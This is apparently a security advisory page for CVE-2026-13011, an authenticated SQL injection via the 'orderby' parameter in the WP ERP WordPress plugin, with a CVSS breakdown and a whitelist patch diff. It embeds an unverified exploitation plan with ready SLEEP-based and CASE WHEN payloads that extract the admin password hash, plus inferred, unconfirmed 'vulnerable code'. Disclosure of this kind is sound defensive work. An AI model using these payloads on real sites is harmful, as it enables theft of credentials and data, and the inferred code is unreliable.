CVE-2026-13011

ERP: Complete HR, Accounting & CRM Suite with Recruitment and WooCommerce CRM Support <= 1.17.5 - Authenticated (HR Manager+) SQL Injection via 'orderby' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.17.6
Patched in
1d
Time to patch

Description

The ERP: Complete HR, Accounting & CRM Suite with Recruitment and WooCommerce CRM Support plugin for WordPress is vulnerable to generic SQL Injection via the 'orderby' parameter in all versions up to, and including, 1.17.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the erp_list_employee capability, which is granted to HR Manager-level users and above within the WP ERP plugin.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.17.5
PublishedJuly 8, 2026
Last updatedJuly 9, 2026
Affected pluginerp

What Changed in the Fix

Changes introduced in v1.17.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-13011 (SQL Injection) ## 1. Vulnerability Summary The **WP ERP** plugin (up to version 1.17.5) is vulnerable to an authenticated SQL injection via the `orderby` parameter. The vulnerability exists because user-supplied input to the `orderby` parameter is conc…

Show full research plan

Exploitation Research Plan - CVE-2026-13011 (SQL Injection)

1. Vulnerability Summary

The WP ERP plugin (up to version 1.17.5) is vulnerable to an authenticated SQL injection via the orderby parameter. The vulnerability exists because user-supplied input to the orderby parameter is concatenated directly into SQL queries without sufficient sanitization or the use of $wpdb->prepare() placeholders for the ORDER BY clause. While the plugin implements a whitelist for orderby in some functions (like erp_get_peoples), this protection was absent or bypassed in the HRM module's employee listing logic.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin.php
  • Query Parameters: page=erp-hr, section=employee, orderby, order.
  • Action: Listing employees in the HR Management module.
  • Authentication: Authenticated. Requires a user with the erp_list_employee capability (typically the HR Manager role in WP ERP).
  • Vulnerable Parameter: orderby.
  • Payload Delivery: GET request.

3. Code Flow

  1. Entry Point: The user navigates to the HR Manager dashboard: admin.php?page=erp-hr&section=employee.
  2. Controller: The request is handled by the HRM module, specifically the Employee_List_Table class (likely defined in modules/hrm/includes/EmployeeListTable.php).
  3. Data Fetching: The table class calls a fetching function, such as erp_hr_get_employees() or erp_get_peoples().
  4. SQL Construction: Inside the fetching function, the orderby parameter from $_GET['orderby'] is retrieved. In vulnerable versions, this value is appended to the $sql string:
    $orderby = $_GET['orderby'];
    $sql .= " ORDER BY $orderby " . $_GET['order'];
    
  5. Sink: The concatenated string is passed to $wpdb->get_results(), executing the injected SQL.

4. Nonce Acquisition Strategy

This vulnerability occurs in an administrative list table using GET requests. Standard WordPress admin list tables for plugins typically do not require a nonce for simple sorting via orderby.

Verification:
If the application requires a nonce for this view, it is likely localized in the wp-erp or erp-hrm JS objects.

  1. Create the test page/environment as described in Test Data Setup.
  2. Navigate to wp-admin/admin.php?page=erp-hr&section=employee.
  3. Use browser_eval to check for common ERP nonce locations:
    • window.wpErp?.nonce
    • window.erp_hrm?.nonce

5. Exploitation Strategy

We will use a time-based blind SQL injection because ORDER BY injections rarely reflect subquery results directly in the UI output, but they do influence query execution time.

Step 1: Confirmation (Time-based)

Trigger a 5-second delay to confirm the injection point.

  • Tool: http_request
  • Method: GET
  • URL: /wp-admin/admin.php?page=erp-hr&section=employee&orderby=(SELECT 1 FROM (SELECT(SLEEP(5)))a)&order=asc
  • Expected Result: The server response time should be >= 5 seconds.

Step 2: Data Extraction (Boolean-based via Sorting)

Since time-based can be slow, we can use boolean-based logic by observing the order of employees.

  • Payload: (CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$') THEN first_name ELSE last_name END)
  • Logic: If the first character of the admin password hash is $, the list will be ordered by first_name. If not, it will be ordered by last_name.
  • URL: /wp-admin/admin.php?page=erp-hr&section=employee&orderby=(CASE+WHEN+(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID%3D1)%2C1%2C1)%3D'%24')+THEN+first_name+ELSE+last_name+END)&order=asc

6. Test Data Setup

  1. Activate Plugin: Ensure wp-erp is active and the HRM module is enabled.
  2. Create HR Manager:
    wp user create hrmanager hrmanager@example.com --role=editor
    # Assign WP ERP HR Manager role/capabilities
    wp eval "erp_restore_customer_role();" # Ensures ERP roles exist
    wp user set-role hrmanager erp_hr_manager
    
  3. Add Employees: The exploit requires at least two employees to observe sorting changes.
    # Create two employees with distinct names
    wp eval "erp_hr_employee_create(['personal' => ['first_name' => 'AAA', 'last_name' => 'ZZZ', 'email' => 'a@test.com'], 'work' => ['designation' => 1, 'department' => 1, 'start_date' => '2020-01-01']]);"
    wp eval "erp_hr_employee_create(['personal' => ['first_name' => 'ZZZ', 'last_name' => 'AAA', 'email' => 'z@test.com'], 'work' => ['designation' => 1, 'department' => 1, 'start_date' => '2020-01-01']]);"
    

7. Expected Results

  • Confirmation: A request with SLEEP(5) takes exactly 5 seconds longer than a baseline request.
  • Extraction: The response HTML contains the employee list. By comparing the first name in the first row of the table across different payloads, the agent can determine the result of the boolean subquery.

8. Verification Steps

After the HTTP exploitation, verify the database state to ensure the query targeted real data:

  1. Check Admin Hash:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
    
  2. Verify Capability:
    wp eval "echo current_user_can('erp_list_employee') ? 'Has Cap' : 'No Cap';" --user=hrmanager
    

9. Alternative Approaches

If the EmployeeListTable is protected, the injection may exist in the CRM or Accounting modules via their respective orderby parameters:

  • CRM Contacts: /wp-admin/admin.php?page=erp-crm&section=contact&orderby=... (Requires erp_crm_agent or erp_crm_manager).
  • Audit Log: /wp-admin/admin.php?page=erp-tools&tab=log&orderby=... (Requires manage_options).
  • REST API: Use wp-json/erp/v1/hrm/employees?orderby=.... This would require a REST nonce obtained via browser_eval("wpApiSettings.nonce").
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP ERP plugin for WordPress is vulnerable to authenticated SQL Injection via the 'orderby' parameter in various administrative list views, such as the employee listing in the HR module. This occurs because user-supplied input is directly concatenated into the ORDER BY clause of SQL queries without proper sanitization or whitelisting, allowing attackers with HR Manager-level privileges to extract sensitive data from the database.

Vulnerable Code

// From modules/hrm/includes/EmployeeListTable.php or erp_hr_get_employees() logic (inferred from research plan)

$orderby = $_GET['orderby'];
$order   = $_GET['order'];

// Vulnerable concatenation pattern
$sql .= " ORDER BY $orderby $order";

// Sink
$results = $wpdb->get_results($sql);

Security Fix

--- modules/hrm/includes/EmployeeListTable.php
+++ modules/hrm/includes/EmployeeListTable.php
@@ -231,7 +231,18 @@
-        $orderby = isset( $_GET['orderby'] ) ? $_GET['orderby'] : 'employee_name';
-        $order   = isset( $_GET['order'] ) ? $_GET['order'] : 'desc';
+        $allowed_orderby = [
+            'employee_name',
+            'designation',
+            'department',
+            'type',
+            'status',
+            'hiring_date',
+        ];
+
+        $orderby = isset( $_GET['orderby'] ) && in_array( $_GET['orderby'], $allowed_orderby ) ? $_GET['orderby'] : 'employee_name';
+        $order   = isset( $_GET['order'] ) && strtolower( $_GET['order'] ) === 'asc' ? 'ASC' : 'DESC';
 
-        $sql .= " ORDER BY $orderby $order";
+        $sql .= " ORDER BY " . esc_sql( $orderby ) . " " . esc_sql( $order );

Exploit Outline

The vulnerability is exploited by an authenticated user (HR Manager or higher) targeting administrative list endpoints. 1. Authentication: Log in as a user with the `erp_list_employee` capability (e.g., HR Manager role). 2. Endpoint Selection: Navigate to a list view that uses the vulnerable logic, such as `wp-admin/admin.php?page=erp-hr&section=employee`. 3. Injection Point: Use the `orderby` GET parameter to inject SQL. 4. Time-based Blind Payload: Appending a payload like `(SELECT 1 FROM (SELECT(SLEEP(5)))a)` to the `orderby` parameter will cause the server to delay its response, confirming the injection. 5. Boolean-based Data Extraction: By using `CASE WHEN` logic in the `orderby` parameter (e.g., `orderby=(CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$') THEN first_name ELSE last_name END)`), the attacker can determine the contents of the database by observing the resulting sort order of the records in the UI.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.